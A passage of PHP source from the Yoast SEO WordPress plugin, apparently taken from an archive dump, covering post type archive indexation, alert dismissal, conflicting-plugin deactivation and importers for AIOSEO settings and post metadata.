		Indexable_Repository $repository,
		Indexable_Builder $builder,
		Post_Type_Helper $post_type,
		Indexable_Builder_Versions $versions
	) {
		$this->repository = $repository;
		$this->builder    = $builder;
		$this->post_type  = $post_type;
		$this->version    = $versions->get_latest_version_for_type( 'post-type-archive' );
	}

	/**
	 * Returns the total number of unindexed post type archives.
	 *
	 * @param int $limit Limit the number of counted objects.
	 *
	 * @return int The total number of unindexed post type archives.
	 */
	public function get_total_unindexed( $limit = false ) {
		$transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT );
		if ( $transient !== false ) {
			return (int) $transient;
		}

		\set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, \DAY_IN_SECONDS );

		$result = \count( $this->get_unindexed_post_type_archives( $limit ) );

		\set_transient( static::UNINDEXED_COUNT_TRANSIENT, $result, \DAY_IN_SECONDS );

		/**
		 * Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left.
		 *
		 * @internal
		 */
		\do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $result );

		return $result;
	}

	/**
	 * Creates indexables for post type archives.
	 *
	 * @return Indexable[] The created indexables.
	 */
	public function index() {
		$unindexed_post_type_archives = $this->get_unindexed_post_type_archives( $this->get_limit() );

		$indexables = [];
		foreach ( $unindexed_post_type_archives as $post_type_archive ) {
			$indexables[] = $this->builder->build_for_post_type_archive( $post_type_archive );
		}

		if ( \count( $indexables ) > 0 ) {
			\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
		}

		return $indexables;
	}

	/**
	 * Returns the number of post type archives that will be indexed in a single indexing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_post_type_archive_indexation_limit' - Allow filtering the number of posts indexed during each indexing pass.
		 *
		 * @param int $limit The maximum number of posts indexed.
		 */
		$limit = \apply_filters( 'wpseo_post_type_archive_indexation_limit', 25 );

		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = 25;
		}

		return $limit;
	}

	/**
	 * Retrieves the list of post types for which no indexable for its archive page has been made yet.
	 *
	 * @param int|false $limit Limit the number of retrieved indexables to this number.
	 *
	 * @return array The list of post types for which no indexable for its archive page has been made yet.
	 */
	protected function get_unindexed_post_type_archives( $limit = false ) {
		$post_types_with_archive_pages = $this->get_post_types_with_archive_pages();
		$indexed_post_types            = $this->get_indexed_post_type_archives();

		$unindexed_post_types = \array_diff( $post_types_with_archive_pages, $indexed_post_types );

		if ( $limit ) {
			return \array_slice( $unindexed_post_types, 0, $limit );
		}

		return $unindexed_post_types;
	}

	/**
	 * Returns the names of all the post types that have archive pages.
	 *
	 * @return array The list of names of all post types that have archive pages.
	 */
	protected function get_post_types_with_archive_pages() {
		// We only want to index archive pages of public post types that have them.
		$post_types_with_archive = $this->post_type->get_indexable_post_archives();

		// We only need the post type names, not the objects.
		$post_types = [];
		foreach ( $post_types_with_archive as $post_type_with_archive ) {
			$post_types[] = $post_type_with_archive->name;
		}

		return $post_types;
	}

	/**
	 * Retrieves the list of post type names for which an archive indexable exists.
	 *
	 * @return array The list of names of post types with unindexed archive pages.
	 */
	protected function get_indexed_post_type_archives() {
		$results = $this->repository->query()
			->select( 'object_sub_type' )
			->where( 'object_type', 'post-type-archive' )
			->where_equal( 'version', $this->version )
			->find_array();

		if ( $results === false ) {
			return [];
		}

		$callback = static function ( $result ) {
			return $result['object_sub_type'];
		};

		return \array_map( $callback, $results );
	}

	/**
	 * Returns a limited number of unindexed posts.
	 *
	 * @param int $limit Limit the maximum number of unindexed posts that are counted.
	 *
	 * @return int|false The limited number of unindexed posts. False if the query fails.
	 */
	public function get_limited_unindexed_count( $limit ) {
		return $this->get_total_unindexed( $limit );
	}
}
wordpress-seo/src/actions/alert-dismissal-action.php000064400000012576147510273100016703 0ustar00<?php

namespace Yoast\WP\SEO\Actions;

use Yoast\WP\SEO\Helpers\User_Helper;

/**
 * Class Alert_Dismissal_Action.
 */
class Alert_Dismissal_Action {

	public const USER_META_KEY = '_yoast_alerts_dismissed';

	/**
	 * Holds the user helper instance.
	 *
	 * @var User_Helper
	 */
	protected $user;

	/**
	 * Constructs Alert_Dismissal_Action.
	 *
	 * @param User_Helper $user User helper.
	 */
	public function __construct( User_Helper $user ) {
		$this->user = $user;
	}

	/**
	 * Dismisses an alert.
	 *
	 * @param string $alert_identifier Alert identifier.
	 *
	 * @return bool Whether the dismiss was successful or not.
	 */
	public function dismiss( $alert_identifier ) {
		$user_id = $this->user->get_current_user_id();
		if ( $user_id === 0 ) {
			return false;
		}

		if ( $this->is_allowed( $alert_identifier ) === false ) {
			return false;
		}

		$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
		if ( $dismissed_alerts === false ) {
			return false;
		}

		if ( \array_key_exists( $alert_identifier, $dismissed_alerts ) === true ) {
			// The alert is already dismissed.
			return true;
		}

		// Add this alert to the dismissed alerts.
		$dismissed_alerts[ $alert_identifier ] = true;

		// Save.
		return $this->user->update_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ) !== false;
	}

	/**
	 * Resets an alert.
	 *
	 * @param string $alert_identifier Alert identifier.
	 *
	 * @return bool Whether the reset was successful or not.
	 */
	public function reset( $alert_identifier ) {
		$user_id = $this->user->get_current_user_id();
		if ( $user_id === 0 ) {
			return false;
		}

		if ( $this->is_allowed( $alert_identifier ) === false ) {
			return false;
		}

		$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
		if ( $dismissed_alerts === false ) {
			return false;
		}

		$amount_of_dismissed_alerts = \count( $dismissed_alerts );
		if ( $amount_of_dismissed_alerts === 0 ) {
			// No alerts: nothing to reset.
			return true;
		}

		if ( \array_key_exists( $alert_identifier, $dismissed_alerts ) === false ) {
			// Alert not found: nothing to reset.
			return true;
		}

		if ( $amount_of_dismissed_alerts === 1 ) {
			// The 1 remaining dismissed alert is the alert to reset: delete the alerts user meta row.
			return $this->user->delete_meta( $user_id, static::USER_META_KEY, $dismissed_alerts );
		}

		// Remove this alert from the dismissed alerts.
		unset( $dismissed_alerts[ $alert_identifier ] );

		// Save.
		return $this->user->update_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ) !== false;
	}

	/**
	 * Returns if an alert is dismissed or not.
	 *
	 * @param string $alert_identifier Alert identifier.
	 *
	 * @return bool Whether the alert has been dismissed.
	 */
	public function is_dismissed( $alert_identifier ) {
		$user_id = $this->user->get_current_user_id();
		if ( $user_id === 0 ) {
			return false;
		}

		if ( $this->is_allowed( $alert_identifier ) === false ) {
			return false;
		}

		$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
		if ( $dismissed_alerts === false ) {
			return false;
		}

		return \array_key_exists( $alert_identifier, $dismissed_alerts );
	}

	/**
	 * Returns an object with all alerts dismissed by current user.
	 *
	 * @return array|false An array with the keys of all Alerts that have been dismissed
	 *                     by the current user or `false`.
	 */
	public function all_dismissed() {
		$user_id = $this->user->get_current_user_id();
		if ( $user_id === 0 ) {
			return false;
		}

		$dismissed_alerts = $this->get_dismissed_alerts( $user_id );
		if ( $dismissed_alerts === false ) {
			return false;
		}

		return $dismissed_alerts;
	}

	/**
	 * Returns if an alert is allowed or not.
	 *
	 * @param string $alert_identifier Alert identifier.
	 *
	 * @return bool Whether the alert is allowed.
	 */
	public function is_allowed( $alert_identifier ) {
		return \in_array( $alert_identifier, $this->get_allowed_dismissable_alerts(), true );
	}

	/**
	 * Retrieves the dismissed alerts.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return string[]|false The dismissed alerts. False for an invalid $user_id.
	 */
	protected function get_dismissed_alerts( $user_id ) {
		$dismissed_alerts = $this->user->get_meta( $user_id, static::USER_META_KEY, true );
		if ( $dismissed_alerts === false ) {
			// Invalid user ID.
			return false;
		}

		if ( $dismissed_alerts === '' ) {
			/*
			 * When no database row exists yet, an empty string is returned because of the `single` parameter.
			 * We do want a single result returned, but the default should be an empty array instead.
			 */
			return [];
		}

		return $dismissed_alerts;
	}

	/**
	 * Retrieves the allowed dismissable alerts.
	 *
	 * @return string[] The allowed dismissable alerts.
	 */
	protected function get_allowed_dismissable_alerts() {
		/**
		 * Filter: 'wpseo_allowed_dismissable_alerts' - List of allowed dismissable alerts.
		 *
		 * @param string[] $allowed_dismissable_alerts Allowed dismissable alerts list.
		 */
		$allowed_dismissable_alerts = \apply_filters( 'wpseo_allowed_dismissable_alerts', [] );

		if ( \is_array( $allowed_dismissable_alerts ) === false ) {
			return [];
		}

		// Only allow strings.
		$allowed_dismissable_alerts = \array_filter( $allowed_dismissable_alerts, 'is_string' );

		// Filter unique and reorder indices.
		$allowed_dismissable_alerts = \array_values( \array_unique( $allowed_dismissable_alerts ) );

		return $allowed_dismissable_alerts;
	}
}
wordpress-seo/src/actions/importing/importing-indexation-action-interface.php000064400000001445147510273100023715 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Importing;

/**
 * Interface definition of reindexing action for indexables.
 */
interface Importing_Indexation_Action_Interface {

	/**
	 * Returns the total number of unindexed objects.
	 *
	 * @return int The total number of unindexed objects.
	 */
	public function get_total_unindexed();

	/**
	 * Indexes a number of objects.
	 *
	 * NOTE: ALWAYS use limits, this method is intended to be called multiple times over several requests.
	 *
	 * For indexing that requires JavaScript simply return the objects that should be indexed.
	 *
	 * @return array The reindexed objects.
	 */
	public function index();

	/**
	 * Returns the number of objects that will be indexed in a single indexing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit();
}
wordpress-seo/src/actions/importing/abstract-aioseo-importing-action.php000064400000015315147510273100022676 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Importing;

use Exception;
use Yoast\WP\SEO\Helpers\Aioseo_Helper;
use Yoast\WP\SEO\Helpers\Import_Cursor_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Sanitization_Helper;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service;

/**
 * Importing action interface.
 */
abstract class Abstract_Aioseo_Importing_Action implements Importing_Action_Interface {

	/**
	 * The plugin the class deals with.
	 *
	 * @var string
	 */
	public const PLUGIN = null;

	/**
	 * The type the class deals with.
	 *
	 * @var string
	 */
	public const TYPE = null;

	/**
	 * The AIOSEO helper.
	 *
	 * @var Aioseo_Helper
	 */
	protected $aioseo_helper;

	/**
	 * The import cursor helper.
	 *
	 * @var Import_Cursor_Helper
	 */
	protected $import_cursor;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The sanitization helper.
	 *
	 * @var Sanitization_Helper
	 */
	protected $sanitization;

	/**
	 * The replacevar handler.
	 *
	 * @var Aioseo_Replacevar_Service
	 */
	protected $replacevar_handler;

	/**
	 * The robots provider service.
	 *
	 * @var Aioseo_Robots_Provider_Service
	 */
	protected $robots_provider;

	/**
	 * The robots transformer service.
	 *
	 * @var Aioseo_Robots_Transformer_Service
	 */
	protected $robots_transformer;

	/**
	 * Abstract_Aioseo_Importing_Action constructor.
	 *
	 * @param Import_Cursor_Helper              $import_cursor      The import cursor helper.
	 * @param Options_Helper                    $options            The options helper.
	 * @param Sanitization_Helper               $sanitization       The sanitization helper.
	 * @param Aioseo_Replacevar_Service         $replacevar_handler The replacevar handler.
	 * @param Aioseo_Robots_Provider_Service    $robots_provider    The robots provider service.
	 * @param Aioseo_Robots_Transformer_Service $robots_transformer The robots transfomer service.
	 */
	public function __construct(
		Import_Cursor_Helper $import_cursor,
		Options_Helper $options,
		Sanitization_Helper $sanitization,
		Aioseo_Replacevar_Service $replacevar_handler,
		Aioseo_Robots_Provider_Service $robots_provider,
		Aioseo_Robots_Transformer_Service $robots_transformer
	) {
		$this->import_cursor      = $import_cursor;
		$this->options            = $options;
		$this->sanitization       = $sanitization;
		$this->replacevar_handler = $replacevar_handler;
		$this->robots_provider    = $robots_provider;
		$this->robots_transformer = $robots_transformer;
	}

	/**
	 * Sets the AIOSEO helper.
	 *
	 * @required
	 *
	 * @param Aioseo_Helper $aioseo_helper The AIOSEO helper.
	 *
	 * @return void
	 */
	public function set_aioseo_helper( Aioseo_Helper $aioseo_helper ) {
		$this->aioseo_helper = $aioseo_helper;
	}

	/**
	 * The name of the plugin we import from.
	 *
	 * @return string The plugin we import from.
	 *
	 * @throws Exception If the PLUGIN constant is not set in the child class.
	 */
	public function get_plugin() {
		$class  = static::class;
		$plugin = $class::PLUGIN;

		if ( $plugin === null ) {
			throw new Exception( 'Importing action without explicit plugin' );
		}

		return $plugin;
	}

	/**
	 * The data type we import from the plugin.
	 *
	 * @return string The data type we import from the plugin.
	 *
	 * @throws Exception If the TYPE constant is not set in the child class.
	 */
	public function get_type() {
		$class = static::class;
		$type  = $class::TYPE;

		if ( $type === null ) {
			throw new Exception( 'Importing action without explicit type' );
		}

		return $type;
	}

	/**
	 * Can the current action import the data from plugin $plugin of type $type?
	 *
	 * @param string|null $plugin The plugin to import from.
	 * @param string|null $type   The type of data to import.
	 *
	 * @return bool True if this action can handle the combination of Plugin and Type.
	 *
	 * @throws Exception If the TYPE constant is not set in the child class.
	 */
	public function is_compatible_with( $plugin = null, $type = null ) {
		if ( empty( $plugin ) && empty( $type ) ) {
			return true;
		}

		if ( $plugin === $this->get_plugin() && empty( $type ) ) {
			return true;
		}

		if ( empty( $plugin ) && $type === $this->get_type() ) {
			return true;
		}

		if ( $plugin === $this->get_plugin() && $type === $this->get_type() ) {
			return true;
		}

		return false;
	}

	/**
	 * Gets the completed id (to be used as a key for the importing_completed option).
	 *
	 * @return string The completed id.
	 */
	public function get_completed_id() {
		return $this->get_cursor_id();
	}

	/**
	 * Returns the stored state of completedness.
	 *
	 * @return int The stored state of completedness.
	 */
	public function get_completed() {
		$completed_id          = $this->get_completed_id();
		$importers_completions = $this->options->get( 'importing_completed', [] );

		return ( isset( $importers_completions[ $completed_id ] ) ) ? $importers_completions[ $completed_id ] : false;
	}

	/**
	 * Stores the current state of completedness.
	 *
	 * @param bool $completed Whether the importer is completed.
	 *
	 * @return void
	 */
	public function set_completed( $completed ) {
		$completed_id                  = $this->get_completed_id();
		$current_importers_completions = $this->options->get( 'importing_completed', [] );

		$current_importers_completions[ $completed_id ] = $completed;
		$this->options->set( 'importing_completed', $current_importers_completions );
	}

	/**
	 * Returns whether the importing action is enabled.
	 *
	 * @return bool True by default unless a child class overrides it.
	 */
	public function is_enabled() {
		return true;
	}

	/**
	 * Gets the cursor id.
	 *
	 * @return string The cursor id.
	 */
	protected function get_cursor_id() {
		return $this->get_plugin() . '_' . $this->get_type();
	}

	/**
	 * Minimally transforms data to be imported.
	 *
	 * @param string $meta_data The meta data to be imported.
	 *
	 * @return string The transformed meta data.
	 */
	public function simple_import( $meta_data ) {
		// Transform the replace vars into Yoast replace vars.
		$transformed_data = $this->replacevar_handler->transform( $meta_data );

		return $this->sanitization->sanitize_text_field( \html_entity_decode( $transformed_data ) );
	}

	/**
	 * Transforms URL to be imported.
	 *
	 * @param string $meta_data The meta data to be imported.
	 *
	 * @return string The transformed URL.
	 */
	public function url_import( $meta_data ) {
		// We put null as the allowed protocols here, to have the WP default allowed protocols, see https://developer.wordpress.org/reference/functions/wp_allowed_protocols.
		return $this->sanitization->sanitize_url( $meta_data, null );
	}
}
wordpress-seo/src/actions/importing/deactivate-conflicting-plugins-action.php000064400000010417147510273100023673 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Importing;

use Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional;
use Yoast\WP\SEO\Config\Conflicting_Plugins;
use Yoast\WP\SEO\Helpers\Import_Cursor_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Sanitization_Helper;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service;
use Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service;

/**
 * Deactivates plug-ins that cause conflicts with Yoast SEO.
 */
class Deactivate_Conflicting_Plugins_Action extends Abstract_Aioseo_Importing_Action {

	/**
	 * The plugin the class deals with.
	 *
	 * @var string
	 */
	public const PLUGIN = 'conflicting-plugins';

	/**
	 * The type the class deals with.
	 *
	 * @var string
	 */
	public const TYPE = 'deactivation';

	/**
	 * The replacevar handler.
	 *
	 * @var Aioseo_Replacevar_Service
	 */
	protected $replacevar_handler;

	/**
	 * Knows all plugins that might possibly conflict.
	 *
	 * @var Conflicting_Plugins_Service
	 */
	protected $conflicting_plugins;

	/**
	 * The list of conflicting plugins
	 *
	 * @var array
	 */
	protected $detected_plugins;

	/**
	 * Class constructor.
	 *
	 * @param Import_Cursor_Helper              $import_cursor               The import cursor helper.
	 * @param Options_Helper                    $options                     The options helper.
	 * @param Sanitization_Helper               $sanitization                The sanitization helper.
	 * @param Aioseo_Replacevar_Service         $replacevar_handler          The replacevar handler.
	 * @param Aioseo_Robots_Provider_Service    $robots_provider             The robots provider service.
	 * @param Aioseo_Robots_Transformer_Service $robots_transformer          The robots transfomer service.
	 * @param Conflicting_Plugins_Service       $conflicting_plugins_service The Conflicting plugins Service.
	 */
	public function __construct(
		Import_Cursor_Helper $import_cursor,
		Options_Helper $options,
		Sanitization_Helper $sanitization,
		Aioseo_Replacevar_Service $replacevar_handler,
		Aioseo_Robots_Provider_Service $robots_provider,
		Aioseo_Robots_Transformer_Service $robots_transformer,
		Conflicting_Plugins_Service $conflicting_plugins_service
	) {
		parent::__construct( $import_cursor, $options, $sanitization, $replacevar_handler, $robots_provider, $robots_transformer );

		$this->conflicting_plugins = $conflicting_plugins_service;
		$this->detected_plugins    = [];
	}

	/**
	 * Get the total number of conflicting plugins.
	 *
	 * @return int
	 */
	public function get_total_unindexed() {
		return \count( $this->get_detected_plugins() );
	}

	/**
	 * Returns whether the updated importer framework is enabled.
	 *
	 * @return bool True if the updated importer framework is enabled.
	 */
	public function is_enabled() {
		$updated_importer_framework_conditional = \YoastSEO()->classes->get( Updated_Importer_Framework_Conditional::class );

		return $updated_importer_framework_conditional->is_met();
	}

	/**
	 * Deactivate conflicting plugins.
	 *
	 * @return array
	 */
	public function index() {
		$detected_plugins = $this->get_detected_plugins();
		$this->conflicting_plugins->deactivate_conflicting_plugins( $detected_plugins );

		// We need to conform to the interface, so we report that no indexables were created.
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function get_limit() {
		return \count( Conflicting_Plugins::all_plugins() );
	}

	/**
	 * Returns the total number of unindexed objects up to a limit.
	 *
	 * @param int $limit The maximum.
	 *
	 * @return int The total number of unindexed objects.
	 */
	public function get_limited_unindexed_count( $limit ) {
		$count = \count( $this->get_detected_plugins() );
		return ( $count <= $limit ) ? $count : $limit;
	}

	/**
	 * Returns all detected plugins.
	 *
	 * @return array The detected plugins.
	 */
	protected function get_detected_plugins() {
		// The active plugins won't change much. We can reuse the result for the duration of the request.
		if ( \count( $this->detected_plugins ) < 1 ) {
			$this->detected_plugins = $this->conflicting_plugins->detect_conflicting_plugins();
		}
		return $this->detected_plugins;
	}
}
wordpress-seo/src/actions/importing/aioseo/aioseo-posttype-defaults-settings-importing-action.php000064400000005540147510273100027703 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

/**
 * Importing action for AIOSEO posttype defaults settings data.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Aioseo_Posttype_Defaults_Settings_Importing_Action extends Abstract_Aioseo_Settings_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'posttype_default_settings';

	/**
	 * The option_name of the AIOSEO option that contains the settings.
	 */
	public const SOURCE_OPTION_NAME = 'aioseo_options_dynamic';

	/**
	 * The map of aioseo_options to yoast settings.
	 *
	 * @var array
	 */
	protected $aioseo_options_to_yoast_map = [];

	/**
	 * The tab of the aioseo settings we're working with.
	 *
	 * @var string
	 */
	protected $settings_tab = 'postTypes';

	/**
	 * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
	 *
	 * @return void
	 */
	protected function build_mapping() {
		$post_type_objects = \get_post_types( [ 'public' => true ], 'objects' );

		foreach ( $post_type_objects as $pt ) {
			// Use all the custom post types that are public.
			$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/title' ]                       = [
				'yoast_name'       => 'title-' . $pt->name,
				'transform_method' => 'simple_import',
			];
			$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/metaDescription' ]             = [
				'yoast_name'       => 'metadesc-' . $pt->name,
				'transform_method' => 'simple_import',
			];
			$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/showMetaBox' ]        = [
				'yoast_name'       => 'display-metabox-pt-' . $pt->name,
				'transform_method' => 'simple_boolean_import',
			];
			$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/robotsMeta/noindex' ] = [
				'yoast_name'       => 'noindex-' . $pt->name,
				'transform_method' => 'import_noindex',
				'type'             => 'postTypes',
				'subtype'          => $pt->name,
				'option_name'      => 'aioseo_options_dynamic',
			];

			if ( $pt->name === 'attachment' ) {
				$this->aioseo_options_to_yoast_map['/attachment/redirectAttachmentUrls'] = [
					'yoast_name'       => 'disable-attachment',
					'transform_method' => 'import_redirect_attachment',
				];
			}
		}
	}

	/**
	 * Transforms the redirect_attachment setting.
	 *
	 * @param string $redirect_attachment The redirect_attachment setting.
	 *
	 * @return bool The transformed redirect_attachment setting.
	 */
	public function import_redirect_attachment( $redirect_attachment ) {
		switch ( $redirect_attachment ) {
			case 'disabled':
				return false;

			case 'attachment':
			case 'attachment_parent':
			default:
				return true;
		}
	}
}
wordpress-seo/src/actions/importing/aioseo/aioseo-taxonomy-settings-importing-action.php000064400000007645147510273100026075 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

/**
 * Importing action for AIOSEO taxonomies settings data.
 */
class Aioseo_Taxonomy_Settings_Importing_Action extends Abstract_Aioseo_Settings_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'taxonomy_settings';

	/**
	 * The option_name of the AIOSEO option that contains the settings.
	 */
	public const SOURCE_OPTION_NAME = 'aioseo_options_dynamic';

	/**
	 * The map of aioseo_options to yoast settings.
	 *
	 * @var array
	 */
	protected $aioseo_options_to_yoast_map = [];

	/**
	 * The tab of the aioseo settings we're working with.
	 *
	 * @var string
	 */
	protected $settings_tab = 'taxonomies';

	/**
	 * Additional mapping between AiOSEO replace vars and Yoast replace vars.
	 *
	 * @var array
	 *
	 * @see https://yoast.com/help/list-available-snippet-variables-yoast-seo/
	 */
	protected $replace_vars_edited_map = [
		'#breadcrumb_404_error_format'         => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_archive_post_type_format' => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_archive_post_type_name'   => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_author_display_name'      => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_author_first_name'        => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_blog_page_title'          => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_label'                    => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_link'                     => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_search_result_format'     => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_search_string'            => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_separator'                => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#breadcrumb_taxonomy_title'           => '', // Empty string, as AIOSEO shows nothing for that tag.
		'#taxonomy_title'                      => '%%term_title%%',
	];

	/**
	 * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
	 *
	 * @return void
	 */
	protected function build_mapping() {
		$taxonomy_objects = \get_taxonomies( [ 'public' => true ], 'object' );

		foreach ( $taxonomy_objects as $tax ) {
			// Use all the public taxonomies.
			$this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/title' ]                       = [
				'yoast_name'       => 'title-tax-' . $tax->name,
				'transform_method' => 'simple_import',
			];
			$this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/metaDescription' ]             = [
				'yoast_name'       => 'metadesc-tax-' . $tax->name,
				'transform_method' => 'simple_import',
			];
			$this->aioseo_options_to_yoast_map[ '/' . $tax->name . '/advanced/robotsMeta/noindex' ] = [
				'yoast_name'       => 'noindex-tax-' . $tax->name,
				'transform_method' => 'import_noindex',
				'type'             => 'taxonomies',
				'subtype'          => $tax->name,
				'option_name'      => 'aioseo_options_dynamic',
			];
		}
	}

	/**
	 * Returns a setting map of the robot setting for post category taxonomies.
	 *
	 * @return array The setting map of the robot setting for post category taxonomies.
	 */
	public function pluck_robot_setting_from_mapping() {
		$this->build_mapping();

		foreach ( $this->aioseo_options_to_yoast_map as $setting ) {
			// Return the first archive setting map.
			if ( $setting['transform_method'] === 'import_noindex' && isset( $setting['subtype'] ) && $setting['subtype'] === 'category' ) {
				return $setting;
			}
		}

		return [];
	}
}
wordpress-seo/src/actions/importing/aioseo/aioseo-posts-importing-action.php000064400000054742147510273100023531 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

use wpdb;
use Yoast\WP\SEO\Actions\Importing\Abstract_Aioseo_Importing_Action;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Import_Cursor_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexable_To_Postmeta_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Sanitization_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service;
use Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Social_Images_Provider_Service;

/**
 * Importing action for AIOSEO post data.
 */
class Aioseo_Posts_Importing_Action extends Abstract_Aioseo_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'posts';

	/**
	 * The map of aioseo to yoast meta.
	 *
	 * @var array
	 */
	protected $aioseo_to_yoast_map = [
		'title'               => [
			'yoast_name'       => 'title',
			'transform_method' => 'simple_import_post',
		],
		'description'         => [
			'yoast_name'       => 'description',
			'transform_method' => 'simple_import_post',
		],
		'og_title'            => [
			'yoast_name'       => 'open_graph_title',
			'transform_method' => 'simple_import_post',
		],
		'og_description'      => [
			'yoast_name'       => 'open_graph_description',
			'transform_method' => 'simple_import_post',
		],
		'twitter_title'       => [
			'yoast_name'       => 'twitter_title',
			'transform_method' => 'simple_import_post',
			'twitter_import'   => true,
		],
		'twitter_description' => [
			'yoast_name'       => 'twitter_description',
			'transform_method' => 'simple_import_post',
			'twitter_import'   => true,
		],
		'canonical_url'       => [
			'yoast_name'       => 'canonical',
			'transform_method' => 'url_import_post',
		],
		'keyphrases'          => [
			'yoast_name'       => 'primary_focus_keyword',
			'transform_method' => 'keyphrase_import',
		],
		'og_image_url'        => [
			'yoast_name'                   => 'open_graph_image',
			'social_image_import'          => true,
			'social_setting_prefix_aioseo' => 'og_',
			'social_setting_prefix_yoast'  => 'open_graph_',
			'transform_method'             => 'social_image_url_import',
		],
		'twitter_image_url'   => [
			'yoast_name'                   => 'twitter_image',
			'social_image_import'          => true,
			'social_setting_prefix_aioseo' => 'twitter_',
			'social_setting_prefix_yoast'  => 'twitter_',
			'transform_method'             => 'social_image_url_import',
		],
		'robots_noindex'      => [
			'yoast_name'       => 'is_robots_noindex',
			'transform_method' => 'post_robots_noindex_import',
			'robots_import'    => true,
		],
		'robots_nofollow'     => [
			'yoast_name'       => 'is_robots_nofollow',
			'transform_method' => 'post_general_robots_import',
			'robots_import'    => true,
			'robot_type'       => 'nofollow',
		],
		'robots_noarchive'    => [
			'yoast_name'       => 'is_robots_noarchive',
			'transform_method' => 'post_general_robots_import',
			'robots_import'    => true,
			'robot_type'       => 'noarchive',
		],
		'robots_nosnippet'    => [
			'yoast_name'       => 'is_robots_nosnippet',
			'transform_method' => 'post_general_robots_import',
			'robots_import'    => true,
			'robot_type'       => 'nosnippet',
		],
		'robots_noimageindex' => [
			'yoast_name'       => 'is_robots_noimageindex',
			'transform_method' => 'post_general_robots_import',
			'robots_import'    => true,
			'robot_type'       => 'noimageindex',
		],
	];

	/**
	 * Represents the indexables repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * The indexable_to_postmeta helper.
	 *
	 * @var Indexable_To_Postmeta_Helper
	 */
